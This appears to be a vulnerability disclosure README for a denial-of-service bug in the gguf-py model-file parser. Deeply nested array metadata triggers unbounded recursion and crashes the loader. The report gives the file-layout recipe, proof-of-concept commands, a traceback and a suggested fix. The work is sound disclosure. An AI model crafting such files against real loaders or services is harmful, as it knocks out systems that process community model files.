EnigmaConsultant's picture
Upload README.md with huggingface_hub
425328a verified
|
Raw
History Blame Contribute Delete
8.21 kB
# Uncontrolled recursion (CWE-674) in gguf-py `GGUFReader._get_field_parts` via nested-array KV metadata β†’ uncaught `RecursionError` DoS
**Severity:** Medium (availability / denial-of-service on model load)
**Category:** Malformed model file β€” GGUF ($4k format), metadata KV parser
**Weakness:** CWE-674 Uncontrolled Recursion β†’ uncaught `RecursionError`
## Affected software
- **Package:** `gguf` (gguf-py, part of the `ggml-org/llama.cpp` project) β€” **version 0.19.0** (pip)
- **File:** `gguf/gguf_reader.py`, function `GGUFReader._get_field_parts()` (lines 221–257)
- **Tested environment:** gguf 0.19.0, numpy 2.5.1, CPython 3.13.12, default `sys.recursionlimit` = 1000, Linux x86-64
## Summary
`GGUFReader._get_field_parts()` parses an `ARRAY`-typed metadata KV value by reading the
array's element type (`raw_itype`, a `uint32` read straight from the file) and its length,
then **recursing into `_get_field_parts(offs, raw_itype[0])` for every element**. The element
type is itself attacker-controlled and may equal `GGUFValueType.ARRAY` (value `9`), producing
self-recursion with **no nesting-depth limit and no validation**.
Recursion depth equals the file's array-nesting depth, and each level costs only **12 bytes**
(`u32` element-type = ARRAY + `u64` count = 1). Once depth exceeds Python's recursion limit
(~1000), an uncaught `RecursionError` is raised and propagates out of `GGUFReader.__init__`
(via `_build_fields` β†’ `_get_field_parts`), crashing any caller that opens the file. A ~60 KB
file (depth 5000) is enough to guarantee the crash regardless of a raised recursion limit.
## Root cause
`gguf/gguf_reader.py`, lines 238–255 (the `# Handle arrays.` branch):
```python
# Handle arrays.
if gtype == GGUFValueType.ARRAY:
raw_itype = self._get(offs, np.uint32) # element type β€” attacker-controlled
offs += int(raw_itype.nbytes)
alen = self._get(offs, np.uint64) # element count β€” attacker-controlled
offs += int(alen.nbytes)
aparts: list[npt.NDArray[Any]] = [raw_itype, alen]
data_idxs: list[int] = []
# FIXME: Handle multi-dimensional arrays properly instead of flattening
for idx in range(alen[0]):
curr_size, curr_parts, curr_idxs, curr_types = self._get_field_parts(offs, raw_itype[0])
# ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
# raw_itype[0] can be GGUFValueType.ARRAY (9) β†’ unbounded self-recursion
if idx == 0:
types += curr_types
idxs_offs = len(aparts)
aparts += curr_parts
data_idxs += (idx + idxs_offs for idx in curr_idxs)
offs += curr_size
return offs - orig_offs, aparts, data_idxs, types
```
The developer-visible comment
`# FIXME: Handle multi-dimensional arrays properly instead of flattening` sits directly above
the unguarded recursive loop. Because `raw_itype[0]` is read verbatim from the file and passed
back into `_get_field_parts` as the element type, an array whose element type is itself `ARRAY`
recurses one level deeper per nesting, with no depth accounting.
## Reachability (real callers)
- **transformers** β€” `transformers/modeling_gguf_pytorch_utils.py:599` `reader = GGUFReader(gguf_checkpoint_path)`, reached via the documented workflow
`AutoModel.from_pretrained(..., gguf_file="evil.gguf")` / `AutoModelForCausalLM.from_pretrained(..., gguf_file=...)`.
- **Direct API** β€” any code doing `gguf.GGUFReader("model.gguf")`.
- **Tooling** β€” `gguf-dump.py` / `gguf_dump.py` shipped with the package.
The crash occurs inside `GGUFReader.__init__`, i.e. at file-open time, before any tensor data
is touched β€” so it triggers on the very first act of inspecting an untrusted GGUF file.
## Proof of Concept
`gen.py` (included) writes a GGUF v3 file: header
`magic 'GGUF' + version 3 + tensor_count 0 + kv_count 1`, then one KV: key `'x'`,
`value_type = ARRAY (9)`, followed by `depth` repetitions of `[u32(type=ARRAY) + u64(count=1)]`,
terminated by `[u32(type=UINT8) + u64(count=0)]`.
```bash
python gen.py nested 5000 # writes nested.gguf (~60 KB)
python -c "import gguf; gguf.GGUFReader('nested.gguf')"
```
## Captured evidence (verbatim)
```
$ ../gguf-venv/bin/python gen.py nested 5000
wrote nested.gguf depth 5000
$ ls -l nested.gguf
-rw-rw-r-- 1 kali kali 60049 ... nested.gguf
$ ../gguf-venv/bin/python -c "import gguf; gguf.GGUFReader('nested.gguf')"
Traceback (most recent call last):
File "<string>", line 1, in <module>
import gguf; gguf.GGUFReader('nested.gguf')
File ".../gguf/gguf_reader.py", line 169, in __init__
offs = self._build_fields(offs, kv_count)
File ".../gguf/gguf_reader.py", line 298, in _build_fields
field_size, field_parts, field_idxs, field_types = self._get_field_parts(offs, raw_kv_type[0])
File ".../gguf/gguf_reader.py", line 248, in _get_field_parts
curr_size, curr_parts, curr_idxs, curr_types = self._get_field_parts(offs, raw_itype[0])
[Previous line repeated 990 more times]
File ".../gguf/gguf_reader.py", line 240, in _get_field_parts
raw_itype = self._get(offs, np.uint32)
File ".../gguf/gguf_reader.py", line 203, in _get
arr = self.data[offset:end_offs].view(dtype=dtype)[:count]
File ".../numpy/_core/memmap.py", line 312, in __array_finalize__
if hasattr(obj, '_mmap') and np.may_share_memory(self, obj):
RecursionError: maximum recursion depth exceeded
EXIT=1
```
### Negative controls
```
--- negative controls ---
loaded depth200 ok fields 4 # depth 200 (< recursionlimit) loads cleanly
NEG CONTROL good.gguf: loaded OK, x = [1, 2, 3] # well-formed array<uint8> [1,2,3] parses correctly
```
- `depth=200` (below the recursion limit) β†’ the same code path returns normally with 4 fields.
- A well-formed single-level `array<uint8>` value `[1, 2, 3]` loads and reads back as `[1, 2, 3]`.
This isolates the defect to unbounded recursion depth, not to array parsing in general.
### transformers reachability grep
```
--- transformers reachability grep ---
599: reader = GGUFReader(gguf_checkpoint_path)
```
## Impact
An attacker who can get a victim to open an untrusted `.gguf` file (Hub download, model
conversion service, CI, inference server auto-loading community GGUFs) causes an uncaught
`RecursionError` that terminates the loader process. The file is tiny (~60 KB for depth 5000)
and cheap to craft; raising the Python recursion limit does not help because the depth is
attacker-controlled and unbounded. No tensor data required.
## Suggested fix
Bound array nesting depth (e.g. pass and check a `depth` parameter, rejecting beyond a small
constant), and/or validate that an array's element type is not itself `ARRAY` unless an explicit
multi-dimensional format is supported. Convert the unhandled deep-nesting case into a clean
`ValueError` (already the pattern for unknown field types at line 257) rather than letting a
`RecursionError` escape.
## Dedup note
- **Distinct from public CVEs.** Known GGUF-adjacent CVEs are in different components/mechanisms:
CVE-2025-2099 / CVE-2025-6921 (transformers Marian/EnglishNormalizer ReDoS β€” different component),
CVE-2026-5760 (SGLang GGUF SSTI β€” different library), CVE-2025-66960 (Ollama
`readGGUFV1String` β€” different library, different mechanism). None targets gguf-py
`_get_field_parts` recursion.
- **Distinct from our prior gguf/ggml findings.** This is the "R2 nested-array recursion DoS"
in the gguf-py parser β€” separate from R1 (gguf-py array-length OOM, `gguf-slen-oom-poc`),
R3 (llama.cpp `convert_llama_ggml_to_gguf.py` int64-overflow, `huntr-poc-ggml-oob`), the
transformers `GGUFTokenizerSkeleton` O(NΒ²) tokenizer DoS (`huntr-poc-gguf-transformers-dos`),
the gguf vocab type-confusion, and the tensor-shape div-by-zero findings. Different mechanism
(uncontrolled recursion in the KV metadata parser) and different sink
(`_get_field_parts` self-recursion).
## Files in this repo
- `gen.py` β€” PoC generator (`python gen.py nested <depth>`; also contains the `poc_good` control).
- `nested.gguf` β€” depth-5000 crash artifact (~60 KB).
- `good.gguf` β€” well-formed control (`array<uint8> [1,2,3]`).